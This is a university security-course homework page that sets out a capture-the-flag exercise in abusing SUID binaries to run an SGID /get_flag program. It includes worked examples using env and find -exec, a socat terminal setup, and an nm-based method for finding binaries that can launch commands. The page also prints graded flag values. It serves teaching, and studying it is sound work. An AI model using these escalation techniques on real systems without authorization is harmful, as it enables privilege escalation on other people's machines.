Homework 2 is over! It was due at 12:00pm MST on Wednesday 9/05/18.

Homework 2 is the revenge of Homework 1. In homework 1, it was enough to fool a SUID program into reading the /flag file and printing it out to you. In HW2, the security model of the server has changed. Specifically, the following things are different:

  1. /flag has been marked as only readable by the nogroup group, which is a default group in Linux that no user is a member of (chown nobody.nogroup /flag; chmod 040 /flag). Not being in to nogroup group (and not being the nobody user), root no longer has permissions to read the flag (more on this below).
  2. A new program has been created, /get_flag, which simply attempts to read out the /flag file. It has very special permissions: it is owned by the root user and the nogroup group (chown root.nogroup /flag) and it is SGID nobody. Like SUID, SGID is a bit that controls the credentials under which a program runs. SUID sets the effective user of the running process to the user-owner of the binary in question. SGID sets the effective group of the running process to the group-owner of the binary in question. /get_flag is group-owned by nogroup, so it will run with an effective group ID of nogroup, and this group can read the flag. Setting /get_flag SGID is accomplished by doing chmod 2750 /get_flag. This makes it possible for only the root user to execute /get_flag and, once the root user executes /get_flag, the effective permissions will allow /get_flag to read and print out the flag.
  3. Normally, root is able to ignore file permissions altogether, which would allow the root user to read /flag regardless of its permissions. In this homework, the root user has been stripped of two important capabilities: CAP_DAC_OVERRIDE and CAP_DAC_READ_SEARCH. These capabilities, which are by default wielded by the root user, are what allow root to override file permissions and read files that shouldn’t be readable. For more information of capabilities, consult the man page (man capabilities or here).

The up-shot is this: to read the /flag for a binary, you must be able to use your single SUID binary to execute /get_flag, not just read /flag! This makes it significantly harder.

All of the hints from homework 1 apply, except for the filesystem trickery with /proc. Each flag is now generated from just the basename (i.e., the content after the last / in a path. For /usr/bin/find, this would be find, and for /proc/self/root/usr/bin/find, this would still be find). PLEASE MAKE SURE YOU HAVE READ AND UNDERSTOOD THE HINTS FOR HOMEWORK 1.

For this assignment, each flag will earn two points. After 70 points (35 flags), you will be graded on a curve. Read the syllabus.html the full details of the grading system.

Accessing Homework 2

We’ve disabled ssh access for this homework, since ssh is just too crazy. Use netcat, or a similar program:

nc 23

For scriptable interaction, the same script as for homework 1 will work for homework 2.

The password has been emailed to the class mailing list, and you can check it in the archives.

Solving Homework 2

Here is a sample interaction that successfully retrieves the flag by setting the SUID flag on /usr/bin/find, which conveniently has an argument that will let you choose a command to execute (you may use this for one of your solutions!), thus allowing us to launch /get_flag as root. Thus, retrieving the flag with it is quite simple:

[+++] 1. Show Scoreboard
[+++] 2. Solve Challenge
[+++] 3. Quit
[+++] Choice: 2
[+++] Path to Binary: /usr/bin/env
hw2@83e4f6572ebd:~$ ls -al /get_flag /flag
total 108
----r-----   1 nobody nogroup   73 Aug 29 08:26 flag
-rwxr-s---   1 root   nogroup 8424 Aug 29 07:26 get_flag
hw2@83e4f6572ebd:~$ /usr/bin/env /get_flag
hw2@83e4f6572ebd:~$ exit
[+++] Flag: CSE466{fd804571e14c5440768d76ae643afefce7e96e83aeb433d9699dfe658f1b42ff}
[+++] Correct Flag!

This gives you the flag associated with /usr/bin/env. Something similar works for /usr/bin/find, which can also execute commands:

[+++] Path to Binary: /usr/bin/find
hw2@83e4f6572ebd:~$ /usr/bin/find -exec /get_flag \;
hw2@83e4f6572ebd:~$ exit
[+++] Flag: CSE466{71449e092d3f5760116e07bd2853da2082834296213b7380ec533f83be369ed6}
[+++] Correct Flag!

Why did this print the flag multiple times? Understanding that will help you understand, on a higher level, how you misuse these commands for your purposes.

Like in Homework 1, you will need to to figure out other programs with which to leak other flags.

Getting a more usable terminal

You will find that netcat gives you a terminal that is not conducive to using terminal programs such as nano, vi, and so on (hint: both programs can get you the flag). This is a solvable problem! As an alternative to netcat, you can use socat, the swiss army knife of socket operations:

socat FILE:`tty`,raw,echo=0,icrnl=1

This will give you a “raw” terminal, allowing you to use key combinations like Ctrl-C, Ctrl-Z, Ctrl-X, and so forth. This means that, to terminate socat (since you cannot do it with Ctrl-C), you will need disconnect cleanly (exit the session) or kill it from another shell.

The caveat here is that the wrapper (the stuff before your container actually launches) is not written with this in mind. Because of this, your input to it will not be echoed to your terminal, and its output will have the newlines screwed up. There are good technical reasons for this, and if you are very interested, read the socat and stty man pages (the latter has an explanation of what echo=0 and icrnl=1 mean). It is quite enlightening, but off-topic for this assignment. At any rate, even though your input is not echoed back to you, it will be received by the program, and once you actually get put into your container, things will work normally and you will be able to use whatever applications you want.

Finding candidate targets

There are a lot of potential targets on the system, and a brute-force method will have a much lower success rate than with homework 1. So, how do you choose targets?

One is, as before, knowing what groups of applications do and reading their documentation! However, you can help guide your search by looking for applications that could launch another process.

For this, we can leverage what we learned in class about libraries. Each program has a list of import symbols for library-provided resources (such as library functions) that will be matched, at load time, with export symbols in the library. You can list symbols with:

$ nm -D /bin/cat
(lots of symbols show up)

This will print out a list of symbols that the binary will try to resolve from its libraries, which is a good hint that it may use this functionality in some way. We can use this to look for library functions used to launch commands, of which there are three main families: the exec family, system, and popen. As always, you can look at the man pages of these to understand how they work, but the important thing is to find them:

$ nm -D /bin/cat | grep exec
$ nm -D /bin/cat | grep system
$ nm -D /bin/cat | grep popen

None of these return any output, which tells us that cat cannot use this functionality. Rather, it can, through other trickery (dynamically looking up the function at runtime rather than using the standard linking methods, or by invoking the relevant system call, execve, directly), but this trickery is not found in normal applications too often (though it can occur!). If we look at our /usr/bin/find example, on the other hand:

$ nm -D /usr/bin/find | grep exec
                 U execvp
$ nm -D /usr/bin/find | grep system
$ nm -D /usr/bin/find | grep popen

This output tells us that find uses the execvp library function, which the man page tells us will “execute a file”. Using this on the binaries on the system, you can find promising targets!